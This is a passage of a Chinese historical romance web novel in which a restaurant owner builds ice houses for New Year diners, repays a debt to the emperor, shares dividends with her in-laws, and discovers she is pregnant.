待姚轻雪坐好扶稳,韩泽在她身后轻轻一推,人便飘出去老远。两辈子没这么玩过的姚轻雪兴奋不已。等爬犁速度慢下来,紧跟在身后的男人再次发力。 来来回回在冰上滑了几个来回后,姚轻雪见孩子们去而复返,每人拿了一串糖葫芦蹲在岸边看他们,她便打算再滑一次就上岸。 哪只这次韩泽没控制好力度和方向,爬犁打了个转冲向岸边,被凸起的冰块挡了一下,姚轻雪一个冲力向前趴到了河岸上。 “哈哈……”吃糖葫芦的孩子们放声大笑,一点都不知道给大人留面子。 姚轻雪:“……” 韩泽几个健步冲过去,把人翻过来一瞧脸没着地,顿时松了口气。“有没有伤到哪里?” 心惊肉跳的姚轻雪晃了晃头,幸好她穿的厚,着地时都没怎么感觉疼。也幸好岸边是泥土地没有石头。 韩泽把爬犁还给几个男孩,姚轻雪看了一眼刚刚害她摔跤的冰,提醒他们:“你们玩的时候小心点,别撞到冰了。” 一个孩子脱口而出,“我们才没那么笨。” 姚轻雪:“……”怪她吗?还不是身后出力的人不靠谱,她瞪了一眼男人。 韩泽摸摸鼻子,“都怪那块冰,若是有铲子我定要将他挖了。” 姚轻雪笑出声来,堂堂大理寺少卿竟然把责任推给一块冰。“走吧,我们回家。” 第二天一早姚轻雪去木匠铺定做方形和长方形的木桶。木匠十分不解,木桶大多是圆的,方的用来做什么?装米粮又太大了。“不知夫人做这东西干什么用?” “装水冻冰,所以不能漏水。”其实漏一点也没关系,天这么冷,放在外面不等它漏出多少水便冻住了。 木匠:“要冰的话,河里不就有?”冬天闲人多,几十文钱就有人愿意从河里凿冰出来。 “师傅尽管做便是,这是定钱,后日我派人过来取。”姚轻雪放下一块碎银,木桶造型简单,做起来并不麻烦,今日尚早,十个木桶两日做完不是问题。 木匠接了银子痛快应下,主顾愿意花银子他也不管那么多。他哪里知道姚轻雪制冰的用处,取河里的冰固然省钱,但城中的河水杂质多,冰不够纯净和透亮。她只能多花些银子自己制冰。 待他把冰房子的草图拿出来,徐成和乔旺喜道:“妙啊!如此一来,今年过年饕餮楼定能拔得头筹。” 每年过年京城酒楼都要花费一笔银子做些装饰、招揽生意,但大多加些绸布、灯笼和一些喜庆的饰物。原本他们二人还为这事发愁,没想到东家的点子这般出彩。用冰灯和冰制作的房子做噱头可是从来都没有过。 姚轻雪:“眼看来到年了,得抓紧把冰冻出来,您二位多费心。”两座冰房子的冰块,十只木桶得十多天才能冻出来。 乔旺保证:“东家放心,腊月十五之前定能将冰房子建起来。”饕餮楼的第一个年,定要名声大噪,被人津津乐道。 原本姚轻雪只打算搭两座冰屋在门前做噱头,结果饕餮楼的小伙子们干劲儿十足,最后竟搭建了六座冰屋。 腊月十六这天饕餮楼门前六座冰屋一字排开,冰房四周还摆放了彩色冰灯。有雕成兔子形状的、鲤鱼形状的,五颜六色特别漂亮。白天还不显,天黑后冰灯里面点上蜡烛,冰屋里的人吃着热腾腾的饭菜和锅子,把路人都看呆了。 人们很纳闷,在冰里面烧火,冰怎么就不化呢?看上去还很热,瞧瞧里面的孩子都把外面的袄子脱了。 有人也想去冰屋里吃顿饭,过去一问伙计才知,只有在饕餮楼花费五百两以上的客人才有资格去冰屋。 大多数人没这个资格,吃不到只能看着别人吃。于是从冰屋营业这天开始,饕餮楼门前人满为患,尤其是夜里有时车马都过不来。常常引来巡街的官差过来维护秩序。每次徐成都会包红包给他们。有钱拿谁都没有怨言,所以天一黑便有官差主动过来疏导交通,这让饕餮楼省了很多事。 这天回到家里,正院来人通知韩泽他们过去用晚膳。韩浩夫妻、芸姨娘韩娇、韩莺、韩漳都在,韩祖母也久违地出来用饭。上次一家人在一起吃饭已是半个月前的事了。 韩母道:“你们一个个都忙得不着家,想跟你们吃顿饭都得找时间。” 韩漳道:“母亲我不忙。” “你还有脸说。”韩母白他一眼,“你妹妹都知道找事做,你还整天吊儿郎当。给我收收心,好好读你的书,过两年找个差事做,咱家可不养闲人。” 韩家五个孩子,除了最小的韩娇,现在只有韩漳不务正业,书读得稀松平常,也没有一技之长或是其他过人之处。 以前还好,韩母觉得儿子还小,等长大些自然就知道做什么。但现在儿媳比他大不了几岁,还是女子,女儿也有自己的事情做,她便开始觉得儿子不上进了。 韩漳叹气,以前母亲从来不会这么说他,都怪哥哥嫂嫂妹妹太能干。 周芸姝低头不语,姚轻雪太过出挑,倒显得她没什么用了。 “嫂子,听说饕餮楼的冰屋都抢疯了,是不是真的?”韩莺几天未见到姚轻雪了,年前她的糕点铺子也很 忙。 “人确实不少,但也没有那么夸张。有人喜欢,也有人不想被围观。” 韩莺道:“我还想抽空过去在冰屋里吃锅子呢。” “你哪天去,提前一天告诉我,我来安排。”在冰屋用餐的人晚上多,白天少一些。而且客人都是当日定下,先到先得。 “大嫂我能去吗?”韩娇一脸期待地看着她。 “当然能了,父亲母亲姨娘还有弟妹你们商量一下哪天去,我留那间位置最好的冰屋出来。” 韩母想了想,“后日腊月二十八,不如明晚吧,母亲也一起去。” “好!”韩祖母笑道,“活到这把年纪还未见过冰造的房子,更没在里面吃过饭,我就去见识见识。” 姚轻雪:“就这么说定了,明晚我们全家去冰屋吃饭。” 韩将军看向姚轻雪欲言又止,想说又觉得不好开口的样子。韩泽看出父亲的犹豫:“父亲有话要说?” 韩振赞赏的看了一眼长子,不愧是在大理寺当职,察言观色的本事一流。“我是想问问轻雪,明日能否再匀出一个冰屋,我想请几个朋友过去喝酒。” 老朋友听说饕餮楼出了新花样,纷纷过来问韩振何时请他们喝酒?平日大家就没少一起吃饭,正好快过年了,韩将军就想借此机会请大家一顿。地点自然得在饕餮楼,能去冰屋最好。 “当然没有问题。”姚轻雪道。 韩将军满脸堆笑:“好好,明日我便不与你们一道了。” 韩母:“少了你我们松快些。”冰屋她去看过并不是很大,人太多的话会拥挤。 姚轻雪笑道:“明日我安排两座相邻的冰屋,如此父亲母亲一回头便可以看到彼此。” 韩母嗔了姚轻雪一眼:“谁要看他。” “哎!”韩将军叹口气,“看了半辈子,早就看够我喽。” 韩母脸一热,“在母亲和孩子们面前瞎说什么。”小辈们都忍笑。 姚轻雪突然想起一件事。她转头问韩泽:“年底了,我是不是得去趟宫里?” 第105章 第105章还债 次日,等韩泽等人到了家,韩母领着一家人浩浩荡荡来了饕餮楼。下了马车众人都被眼前的景象惊呆了。 先不说驻足观看的行人。此时天已黑,只见饕餮楼门前灯火辉煌、五彩斑斓。六座圆形冰屋的冰墙在彩色冰灯的照应下呈现出红黄等颜色。透明房子里人影晃动,人们穿着棉袄在冰屋里吃锅子。 再看四周,有卖冰糖葫芦的果子的,有卖糕点的,也有卖花灯和各种小玩意儿。饕餮楼门前的街道俨然成了一个夕市。 韩祖母惊讶:“这地方以前我也来过,人虽多但可没现在这么多。” 韩母指着不远处两名穿官服的衙役道:“前些日子人更多,有官府的人维护秩序已经好多了。”起码人来回走动不是问题。 看见他们走过来,鲁冬赶紧上前行礼:“见过韩夫人,大少爷,大小姐!”韩母、韩泽和韩莺都来过饕餮楼,鲁冬认识,其他人他便不敢叫了。 韩母上下打量他:“你是不是长高了?” 鲁冬微笑颔首:“托东家的福,在饕餮楼吃得好,最近长了不少。” 韩莺:“鲁冬,我嫂子呢?” “东家正在楼上招待客人,稍后便过来。”鲁冬在前面引路,“诸位请随我来。” 韩祖母悄声问韩母:“这就是雪儿领回来的乞儿?” “正是。”韩母靠近韩母小声道:“还有几个比他稍小的孩子,在楼里跑跑腿,也赚一份工钱。” 韩祖母点头:“存善念、做善事,行善积德得福报,润青媳妇做得好!” 众人来到一座冰屋,这座明显比其他五座要大,而且正对着一尊火红的鲤鱼冰雕。韩娇被冰雕吸引,她趴在冰上面往鱼的肚子里看,里面的红烛已经燃了一半。小姑娘纳闷,冰怎么不化呢?仰头往上瞧,就见蜡烛上方得冰有个不太显眼的洞。 芸姨娘小心摸了摸冰屋的墙,发现冰块与冰块之间毫无缝隙。“这如何做到严丝合缝?” 鲁冬解释道:“只需往块冰之间的缝隙里浇水,冰墙便比砖石还要牢固。” 韩漳指着远处一人问:“他在做什么?写字?”哪有人大冷天在屋外练字的。 众人循着韩漳的手指看过去,只见路边一人坐于凳上,手里拿着笔,面前一张小桌,他偶尔抬头看向饕餮楼,随后低头落笔。 “作画。”鲁冬笑道:“此人是画师,他把饕餮楼的夜间景色画下来售卖,生意还不错。” “原来如此。”韩漳了然,还当他有什么毛病。 看完了外面,众人带着好奇走进冰屋。正中一张大木桌,周围有数个小圆凳。原本姚轻雪想用冰做桌子和凳子,但想到这样坐久了客人的屁|股受不住,便用了原木的桌凳。 众人正打量冰屋,姚轻雪掀开布帘走进来。“祖母、母亲、姨娘……” 见她只在单衣外穿了件兔领毛边的坎肩,韩泽皱眉:“怎么穿这么少?小心着凉。” “楼内热得很,哪里会着凉。”饕餮楼内有地龙和火墙,不但不冷还很热,客人们都脱了厚袄子吃饭。她走来走去就更热了。 韩母道:“即便热乍然来到外面也该穿厚些,不然一热一冷更容易出毛病。” “知道了,母亲。”姚轻雪笑眯眯应道。 “我这就去拿披风。”秋月转身出去。 冰屋最里面有两个架子,供客人放置外衣。等众人脱了厚重的披风,周芸姝道:“一点都不冷。” 姚轻雪:“提前烧了炭,等会儿吃上锅子更暖和。”桌子正中原本有个火盆,他们进来前伙计才把火盆搬走。 不多时伙计送来锅子和各种食材,这时听见隔壁的冰屋似乎也来了人。韩娇站在冰墙这边喊:“父亲!” 刚刚与友人落座的韩振一回头,就看见两座冰墙之外的小女儿。韩将军挥了挥手。 韩母嘀咕:“还真是一回头就瞧见了。”她这刚说完,丈夫领着三人过来。 广平侯和两位友人对韩祖母拱手:“可有些日子没见着了,您老身子骨依旧康健。” 韩祖母起身颔首,“侯爷安康,老朽身子骨还成。” 广平侯看了看韩家众人,笑着道:“孙辈个个出类拔萃,老祖宗好福气啊。” 随后三人与韩夫人、芸姨娘打招呼,最后是韩家小辈们。介绍到姚轻雪时,广平侯道:“有胆有识聪慧过人,润青娶了位了不得的妻子,你这冰屋已然成了京中一景。” 姚轻雪福了一礼,脸上挂着笑:“侯爷过奖了,全靠大家捧场!我这还有一坛五十年陈酿,特意给您和几位大人留着。” 寒暄几句,韩振便带人回了隔壁。众人落座后看着水汽蒸腾的锅子。 韩祖母:“都别看着了,吃吧。” 大家这才拿起筷子夹了自己喜欢的放进沸腾的锅里。饕餮楼的新鲜物韩家人都不陌生,姚轻雪都往家里带过。今天来不过是想在冰屋吃个新鲜。 周芸姝特别喜欢滑滑的虾肉,她一个人就吃了一碟儿。韩祖母对薄薄的鱼片情有独钟。韩娇吃完鱼丸吃鸡肉丸。韩浩和韩漳更喜欢羊肉。韩泽则吃着面前的酥肉和几盘菜,并未吃锅子里 的东西。 热水汤过的羊肉膻味飘散出来,闻到这个味儿,韩泽就不大想吃了。姚轻雪夹了个鱼丸在清水里涮了几下,然后沾了辣油放进他碗里。韩泽看了一眼,慢条斯理地夹起来吃了。随后姚轻雪便时不时夹点他爱吃的,用清水洗过再给他。 韩母心想这幸亏娶了厨艺好又懂他的体贴媳妇,不然他这儿子得经常饿肚子。 韩祖母指着翠绿的菠菜和小白菜问:“这都是暖棚里种出来的?供得上用吗?” 姚轻雪道:“供得上,暖棚有五座呢。”暖棚里的菜出苗后,姚轻雪立马让庄子上又建了几座。即便饕餮楼用不完,拿出去卖也能赚。但实际上饕餮楼消耗很大,根本用不着拿到别处卖。有其他酒楼食肆去庄子上买菜都被村民婉拒了。 若不是气候不允许,安定庄的村民还想再建几座暖棚。村长估算了一下,一个暖棚一冬天卖出去的菜比五亩地的产出都多,谁能不眼馋? 吃饱后,众人离开冰屋,隔壁的韩振和广平侯等人推杯换盏,正在兴头上,韩祖母和韩母撩开帘子说了几句话才离开。 姚轻雪跟他们一起回家,车上她靠在男人的肩膀上昏昏欲睡。韩泽侧头看她:“这么困?” “嗯。”姚轻雪闭着眼睛含糊道:“年前这几天客人暴增,一整天几乎都有客人。大伙都累惨了,我这个东家也不好光看着。”迎来送往,脸笑僵了嗓子也哑了,一天下来她也是累得够呛。 韩泽叹口气,把她的脑袋放到自己的腿上。“明日还进宫吗?” 姚轻雪干脆把脚抬上来曲腿侧躺,“自然要去,你今日不是递了牌子?”进宫面圣要提前递牌子,皇帝有时间又愿意见,才能去见。 “明日从宫里回来的早去一趟葫芦巷吧,不然年前没时间了。” 韩泽抱着人,以防马车颠簸她滚下座。“年礼送过去了吗?” “嗯,前些日子母亲就让人送去了。”韩家给谁送礼,都送什么,姚轻雪身为韩家长媳得知晓,韩母抽空都跟她说了。 姚轻雪突然笑出声:“母亲抱怨我帮不上她。”韩母以为娶了儿媳她就能清闲下来,哪料到儿媳忙得整天不着家,她一点都指望不上。 韩泽也笑了,只要有饕餮楼在他媳妇怕是顾不上家中事务。“她想清闲得等三弟娶妻了。” 姚轻雪翻了个身,从下往上看他,“三弟贪玩,他成亲怕是不会比你早,母亲可有的等了,二弟妹知书达理,她不可以吗?” 韩泽没有说话,正常情况下有他和三弟,母亲不会让周芸姝管家。不过他可以说一说,姚轻雪指望不上,三弟将来不定娶什么样的妻子,周芸姝书香门第出身,定能帮母亲处理好家中事务。 回家洗了个热水澡解乏,夜里姚轻雪睡了一个好觉。次日吃过早饭,她穿上隆重的衣服与韩泽进宫。 皇帝从早朝下来便来见他们:“可够早的。” 姚轻雪笑道:“陛下日理万机,韩泽说您年前忙得不可开交,我就想着过来抽空把事情说了,如此也不耽搁陛下办正事。” 皇帝坐下后看向姚轻雪:“你来还银子?” “陛下英明,一猜即中。”姚轻雪笑容灿烂。 皇帝笑道:“别拍马屁,你和朕之间就那么点债的关系,不为此事还能为什么。朕听说你的饕餮楼风头正劲,想来三万两已经赚到手了。不到一年你就将酒楼经营的风生水起,朕果然没看错你。” “看来饕餮楼果真出了名,就连陛下都听说了。”姚轻雪颔首,“臣妇有今日多亏陛下赏识,陛下的恩情轻雪没齿难忘,今日先还三万两。”她拿出三张银票拱手递上。 一旁的太监接过去,姚轻雪继续道:“余下的明年应是能还清。” 皇帝悠悠道:“不急,朕答应你五年还清怎好食言。” 低着头的姚轻雪心里纳闷,当初没有说一定要分五年还吧?怎么提前还银子皇帝还不乐意呢? 他们说没几句,外面便有大臣觐见。索性银子还了,两人便离了宫。坐上马车姚轻雪小声问:“陛下什么意思?” 韩泽看着她笑:“我猜陛下觉得跟你要十万两少了。” 姚轻雪眨眨眼,想了一下终于回过味儿来。明年一次性还清只需还九万两,皇帝这是觉得他亏了!?姚轻雪忍不住乐,皇帝也是财迷啊。 第106章 第106章过年 从皇宫出来,姚轻雪和韩泽绕远去了趟葫芦巷。因俩人都很忙,说了会话午饭没留就走了。 孙女第一次不在家过年,刘氏和姚福难免有些失落。刘氏看着韩家马车驶出巷子,听不见马蹄声,她才转身回院。姚福垂着头跟在后面,也是一副不高兴的样子。 年前有些事需要安排,韩泽去了大理寺,姚轻雪则去了饕餮楼。 大年三十忙碌的人终于可以歇一歇。好在有韩母张罗过年,用不着他们费心。 大家在正院用过早饭后,韩母给家中小辈一人一个红色的荷包,里面装着压岁钱。姚轻雪拿到钱袋高兴道:“我也有啊?!多谢母亲!” 韩母嗔她一眼:“你那么大的生意,还看得上这十两。” 姚轻雪一本正经道:“这可不是简单的十两银子,这是母亲对我深深的爱,比千金都贵重。” 韩母嗔道:“就你会说。” 韩祖母看着婆媳俩相处融洽也跟着高兴,她对孙媳妇道:“你母亲总念叨你累,今早怕你早起,早膳往后推了半个时辰。” 以往各院各吃各的,但过年了一家人总要聚一聚,所以昨晚韩母就通知各院今早开始全家一起用膳。 “多谢母亲!”姚轻雪眉眼弯弯,“还是母亲体谅我,有您这样的婆婆定是我前世修来的。” “油嘴滑舌。”韩母笑得合不拢嘴。 周芸姝低眉浅笑,长嫂和嫡母相处融洽,她却不能这般调侃,甚至与婆母相处都没这般轻松。并非芸姨娘不够和善,而是她从小就被教导长幼有序、尊卑有别,她不得不时刻记着规矩。 祖母和芸姨娘也给了红包,不管成亲还是未成亲每人都有。等长辈发完银子,姚轻雪招招手,秋月端过来一个木盒。“我也给大家添点喜气。” “大嫂也发红包?”韩莺看着秋月端着的木盒瞪大了眼睛,这一看就比母亲和姨娘和祖母给的多。“大嫂果然财大气粗,红包都有这么多。” 姚轻雪:“这是今年饕餮楼的分红。” “分红?”韩漳疑惑,“大嫂不是说等还完债再分吗?怎地今年就分?欠陛下的银子怎么办?” 姚轻雪道:“债要还五年呢,除去还债剩下的也够大家分一分了。”饕餮楼赚多少有目共睹,若是五年后才分就有点不地道了,索性现在也不缺银子。 “当初是想帮你解燃眉之急,并未想要饕餮楼的分红。”韩父不赞同道:“你手上若有闲钱就把大家的银子还了便是,分红就算了吧,你经营饕餮楼不容易。” 韩母也道:“你父亲说的对,当初给你银子并不是冲分红去的。饕餮楼我们也没帮上什么忙,都是你一个人操持,旁人不该分一杯羹。” “父亲母亲,你们的心意我明白。大家帮我,这个情我会一直记得。当初说了要给分红就一定得给。”姚轻雪接过雨竹递过来的纸,“其实分红所占份额不大,对我和饕餮楼不会有太大影响,就当是我给父亲母亲还有弟弟妹妹们的零用钱了。” 韩莺坐在姚轻雪旁边,她拿过大嫂手里的纸:“让我看看我能得多少?” 看完之后她抿着嘴盯着姚轻雪,用很严肃的语气问:“大嫂,我现在追加本金还来得及吗?我觉着把钱投给你,我就可以把铺子关了坐等拿钱就好。” “美的你。”韩母走过来夺过女儿手里的纸。 这张纸上把每个人当初拿的银子,和所占分红比例与今年所得的银子都写得清清楚楚。看着每人应该拿的银子,韩母也是惊了一下,韩娇都有六十两。 当初若是能想到饕餮楼这般红火,只要儿媳开口,揣银子上门的人怕是得踏破姚家门槛。说到底还是他们和家里的几个孩子捡了便宜。 总归都是自家人,姚轻雪执意要给,韩父和韩母也没再拦着。 韩娇拿到属于自己的那份,高兴的跑过来抱住姚轻雪。“我也赚银子了。”家里就她最没用,现在有饕餮楼的分红,她也算有了进项。 当初拿银子最多的是韩父和韩母,分红也最多,韩父拿着银票左看右看。他倒是不在乎这点银子,就是觉得稀奇。从儿媳妇这领钱,满京城怕是找不出第二个了。他看看一 如既往板着脸、默不作声的长子:“你拿了多少?” 韩泽两手一摊:“一文未有。” 众人愣了一下后都哈哈大笑。笑够了韩父把银票交给韩母:“没有就没有吧,只管领钱花,管钱的事咱们不操心。” 韩浩道:“父亲说的对,我就不适合管钱。”他把银子交给妻子。周芸姝红着脸接过去。 韩母看向周芸姝,想起儿子说的话。“芸姝若是愿意,年后跟着我处理家中事务吧。” “母亲!”周芸姝惊诧不已。 韩母道:“你大嫂怕是没闲工夫理家里这些事,你三弟娶媳妇也不定哪年,莺莺也快要嫁人了,这个家里也就只有你能为我分担。” 周芸姝看向婆母和丈夫,韩浩点点头。 芸姨娘道:“莫要辜负夫人的一片心意。”她身为妾这辈子是没这个资格了,但儿媳不同,除了不会做生意哪样都不比姚轻雪差。若轮才情芸姝甩姚轻雪十条街,只要给她机会,她一定能做好。 周芸姝起身行礼:“芸姝定为母亲分忧。” 又说了会儿话,大家才散了。回东院的路上,韩泽见她闷头不语:“心疼了?” “倒也不是心疼,就是之后碰上事或是有合适的宅子想买银子怕是不太够。” “那你还分?”韩泽好笑,“大家没跟你提,不分也没关系。” 姚轻雪:“这不是暂时用不上嘛,分了大家都高兴。等我要用银子不是还有你吗?到时韩大人你可不能袖手旁观。” “饕餮楼的大东家,你缺银子说一声,多的是人借你。” 姚轻雪:“借谁的不得还?还欠着人情。” “我的就不用还?”韩泽哼道,“分红没我的份,用钱想到我。” “给媳妇花钱天经地义,还什么还。”姚轻雪特别硬气。 “上辈子欠你的。”韩泽无奈至极,自己媳妇能怎么办?宠着呗。 晚膳过后大家聚在一起守夜,玩牌打发时间,赢银子的那种。开始姚轻雪和韩泽一组,众人发现谁都玩不过他俩,银子都被他们夫妻赢了去。然后都不干了,坚决把这俩人拆开。 韩祖母和儿子、两个媳妇坐在一旁看着他们笑闹,“说来也是奇怪,今年只多了两个人,却比哪年都热闹。”姚轻雪和周芸姝都是今年嫁进来的。 韩母:“您没瞧见吗?就老大媳妇能玩能闹,她一个顶几个人。”韩浩媳妇文文静静,韩莺耍赖她也不恼,笑呵呵地把银子推过去,一副好脾气的模样。老大媳妇就不行,谁都不能欠她一钱银子,老大都不行。真是个钱耙子。 韩祖母:“轻雪这孩子有活泛劲儿,往年润青哪里会跟弟弟妹妹们玩牌,吃过晚膳就回自己院里待着。浩儿也是,娶了媳妇人也变得柔和了。” “浩儿媳妇有动静没?”韩母小声问芸姨娘。 芸姨娘摇摇头:“没有。” “老大媳妇也没有。”韩母叹口气,“这俩都成亲多久了,怎么还没怀上?”她等抱孙子可是等了很久。 “半年不到急什么。”韩祖母道,“两个都是好孩子,都有福气,孩子早晚会来的。”老太太站起身。 “母亲可是累了?”韩将军起身搀住老太太,“儿子扶您回去休息。” “不用。”韩祖母抽出胳膊,“今儿高兴我去跟你爹念叨念叨,你不用跟着。”老太太边走便小声嘀咕,“他泉下有知也该知足,孩子们都很好,平平安安……” 平时戌时就要睡下的人,要挺到子时着实难捱。韩父韩母坐了会儿困意上来提早回房了。 打牌的打红了眼,姚轻雪开始时得意万分,赢了不少银子,后来被其他人联合给赢了回去,最后一数就她输的最多。韩娇于心不忍,从自己赢的银子里拿出一块偷偷塞进她手里。 子时一到外面就开始放烟花爆竹,他们牌也不玩了,穿了棉袄出去放烟花。子时正一过大家才打着哈气回去睡觉。 初一便开始走亲访友、出街游玩,饕餮楼只在除夕放一日假,初一便开门营业。有徐成和乔旺在,倒也不用姚轻雪过去。 不知是不是昨晚熬夜累着了,初一这天姚轻雪就觉得浑身没劲儿起不来床。韩泽要找郎中,被姚轻雪拦下,“哪有大过年看郎中的,我就是累着了,多睡睡就好。” 起初韩母也以为儿媳是累得,毕竟从饕餮楼开业到现在她就没怎么好好休息过。可瞧着她吃饭都忍不住打瞌睡的样子,韩母忍住激动,让姚轻雪不用过来正院用饭,就在东院想睡就睡,睡醒了再吃。 初三回门姚轻雪都睡过了头,韩泽一个人去了一趟葫芦巷。等到初六,韩母把郎中请回家,给儿媳把脉。 老郎中捋着花白的胡子道:“少夫人有喜了!” 第107章 第107章怀了 韩母虽有猜测,但被郎中证实也是乐得合不拢嘴。她问郎中儿媳身体如何?用不用吃药等等?郎中说姚轻雪身体很好,多休息即可。 送走郎中,韩母回屋看见儿子盯着他儿媳的肚子傻乐。韩母既无奈又好笑。想当初怀他时丈夫也是这般,生彰儿和莺莺的时候就淡定多了。初为人父大概都是这个傻样。 韩母坐到床边,“这几日我瞧着你就不对,果然是怀上了。” 韩泽:“母亲如何瞧出来的?我怎么没看出来。” “我生了你们三个,这点事哪能看不出来。轻雪从来都是神采奕奕干劲十足,何时这般整日困倦过?” “这个月月事没来,我以为是年前太忙累着了,竟是怀了,也是我粗心大意。”姚轻雪很高兴,虽然早有准备,但还是觉得不可思议,她肚子里有了一个小生命。 她也是没有经验,而且月事推迟时有发生,再加上年前忙得脚不沾地根本就没留意这个。“若不是母亲细心,我怕是得下个月才能发现。”下次月事不来再迟钝她也该知道了。 “之前不知情没什么要紧,这之后你可不能累着了。”韩母板着脸严肃道,“从今日开始在家好好养着,饕餮楼交给乔旺和徐成打理,我有空会过去给你盯着,有人敢偷懒坏事我定不饶他。” 姚轻雪:“月份还小,不用这样吧。”怀孕并不耽搁做事,而且还不到两个月,若整日在家大门不出二门不迈,着实大惊小怪了。 “听母亲的,酒楼人多若是不小心碰到,后悔都来不及。”事关孩子韩泽也赞同母亲的安排。“饕餮楼背后有将军府没人敢动手脚,乔旺和徐成做事也很稳妥,再者你给手下开的工钱那么高,人人都希望饕餮楼好。若是楼中有事让乔旺等来府上即可,我抽空也会过去,你大可放心。” 丈夫和婆母都这般劝,姚轻雪也没再坚持:“那便辛苦母亲了。” “不辛苦,家中事务有浩儿媳妇替我分担,以后我的时间也多。”韩母瞧了一眼东院的四个丫鬟,都是未婚没生过孩子,对怎么照顾孕妇怕都是一知半解,“我让孙嬷嬷过来,她有经验,你身上有任何不适都要跟她说。” 孙嬷嬷是韩母的陪嫁,韩泽三兄妹都是她看着出生的,韩母把她放在姚轻雪身边心里才觉得踏实。 姚轻雪怀孕的消息很快在韩家传开。韩祖母亲自来东院看孙媳妇。老太太还把她宝贝的 玉观音像拿来,摆在小两口的房间内。 芸姨娘领着儿媳也过来探望,周芸姝满脸羡慕,她成亲比姚轻雪还早一个月呢,肚子却至今没有动静。 查出怀孕韩泽就给姚家送了信,当日下午姚福刘氏带着芽芽就来了将军府。姚轻雪成亲后二老从未来过韩家,这次听说孙女怀孕是一天都等不了。 刘氏拉着孙女的手笑得见牙不见眼,“那日润青说你累着了在家休息,我寻思这得累成啥样?这几天我心里就惦记。今日起床便听见喜鹊在屋顶喳喳叫个不停,原来是大喜事啊。”只要有了孩子,孙女在韩家就站稳脚跟,她也就彻底放心了。 芽芽盯着姐姐的肚子:“这里住着一个小娃娃?” 姚轻雪笑道:“它现在还是个小豆芽,在肚子里慢慢长大,然后长成一个小娃娃,七八个月以后才能出生,人都是这样生出来的。” 芽芽张大了嘴巴,原来人在肚子里先是小豆芽啊。“是外甥还是外甥女?” “哎呦,这个可不知道。”韩母大笑,“是男是女得生出来才能知道。” 刘氏:“头胎定是男孩。” 韩母:“老太太!生男生女可不是咱们能定的,不管男孩还是女孩都是韩家的宝贝疙瘩,我们都喜欢。我其实更喜欢孙女,乖乖巧巧的,这胎若是孙女可就如我的愿了。” 姚福憨笑:“男孩女孩都好。” 姚家三口在将军府用过晚饭才回去。姚轻雪从这日起便没再去饕餮楼,韩泽下直后会去看一眼,月中月末把账册带回来让雨竹和香云核对。 然后姚轻雪发现没有自己,饕餮楼收入丝毫没有受到影响,于是她便安心在家养胎。 一晃到了四月,又到了春耕时节。安定庄的村长和管事来到将军府,把耕种的情况说给姚轻雪听。今年辣椒种子充足,辣椒的种植达到了三十亩。好在有去年的经验,村民都知道怎么种,并不需要姚轻雪操心,更不必亲自去庄子上。 村长:“今年年底猪也能出栏了。”从年后天气回暖开始,村民们便开始忙着建猪舍。 按照姚轻雪的方法,去年冬天在猪舍内养的十几头猪,吃得好睡得香长得快,现在已经长到了七八十斤,这让村民大喜过望。要知道以前他们养的猪起码要半年以上才能长到这么大。就凭这长肉的速度,猪一定要养起来。 除了养猪养鸭今年还种了不少菜。村长眼中露出兴奋的光,他可以想象得到,若无天灾人祸今年安定庄将赚得盆满钵满。 姚轻雪并不干涉安定庄如何养猪养鸭,教给他们方法是想保证饕餮楼的货源,安定庄养出来的猪鸭和种出来的菜,要优先供应饕餮楼。之后村民想卖给谁她不管。 村长再三保证,安定庄所有产出首先供应饕餮楼,才和管事离开。 万事不操心,姚轻雪每天都过得很开心。别人怀孕吐得昏天暗地,她从来没吐过,胃口还特别好,以前不爱吃的东西现在都馋着要吃。 见她身子这般好,韩母便也不拘着她了,多走动走动也好生,偶尔让她出去逛逛或是回姚家走走。 这日韩泽休沐,姚轻雪便让他带自己去饕餮楼。路上听到有人叫卖油炸蒸饼,她便忍不住口水直流。 孕妇想吃什么非要吃到,吃不上就抓心挠肺,夜里都睡不好,非要拦着她还哭给你看。韩泽见识过媳妇的嘴馋,所以即便不赞同她吃街边小食,也只能停下车给她买。 这里离饕餮楼不远了,姚轻雪也下了车。她挺个肚子,手里拿着油炸蒸饼边走边吃。走着走着感觉路边似乎有人看她,一转头发现是熟人。 曲长平已经很久没见过姚轻雪了,只是偶尔从旁人嘴里听到关于饕餮楼的消息。 姚轻雪把最后一口油炸蒸饼塞进嘴里走过去。“曲叔、婶子、曲童生,这么巧。” “是挺巧,没想到在这儿碰见了,姚、”曲老爹刚想叫姚厨娘,突然反应过来,人家现在可不是厨娘了。“韩少夫人也来逛街。” “曲叔您叫我轻雪就行,你们这是要去哪儿?曲叔今日没出摊?” 曲婶子:“长平中了秀才,过几日要见新先生,今日出来给他买些布料做衣裳。” “呀,都是秀才了,恭喜恭喜。”姚轻雪给曲长平道贺。 曲长平脸上有一丝羞赧:“秀才而已不值一提。”秀才对他们家来说是天大的喜事,对姚轻雪和韩家算得了什么。 姚轻雪:“怎么不值一提了,你才多大就考中秀才,今后必定高中。是值得庆祝的好事,择日不如撞日,我请大家去饕餮楼吃饭。” 曲老爹:“这怎么好意思。” 曲长平:“不麻烦了。” 久未出声的韩泽拱手:“几位若是无要紧事便去吧,这是内子的一点心意。” 曲老爹很惶恐,韩泽他认识也知道什么身份,人家都这么说了不去是不是不识抬举?那到底要不要去啊?他看向儿子。 曲长平拱手:“那便有劳韩大人和少夫人!”这顿饭要是不吃,姚轻雪怕是得一直惦记。 众人向饕餮楼走去,曲长平的妹妹没见过姚轻雪,但从谈话中也听出来了。昔日街边摆摊的厨娘飞上枝头,还开了间很大的酒楼,姚轻雪的事早就在街头巷尾传遍了。 见她偷偷看自己,姚轻雪笑着问:“这是青梅吧?”摆摊时曲婶子常把女儿挂在嘴边。 “是青梅。”曲婶子碰了碰女儿的手,“青梅,这是你姚爷爷和刘奶奶的孙女。” 曲青梅:“嗯,我知道,饕餮楼的东家,姚姐姐你好厉害。”娘说在一起摆摊的人常常说起姚轻雪,能干又有运气,她也是真心佩服。 曲婶子:“乱叫什么,姐姐也是你叫的?” “有何不可,叫姐姐好,就叫姐姐。”姚轻雪笑着道。 众人很快来到饕餮楼,姚轻雪叫人把他们领去雅间,曲长平走在最后,等家人上了楼梯他拱手道谢。 姚轻雪摆摆手:“早就说请你吃饭,竟拖了这么久。” 曲长平道:“在你的酒楼岂不是更合时宜,我还没恭喜韩少夫人心愿达成。” “许久未见你怎么这么客气,青梅都唤我一声姐姐,咱俩好歹有些交情。”姚轻雪玩笑道。 “青梅年纪小不懂事,我便不可,礼不可废。”曲长平拱手,“今日让少夫人破费了!” 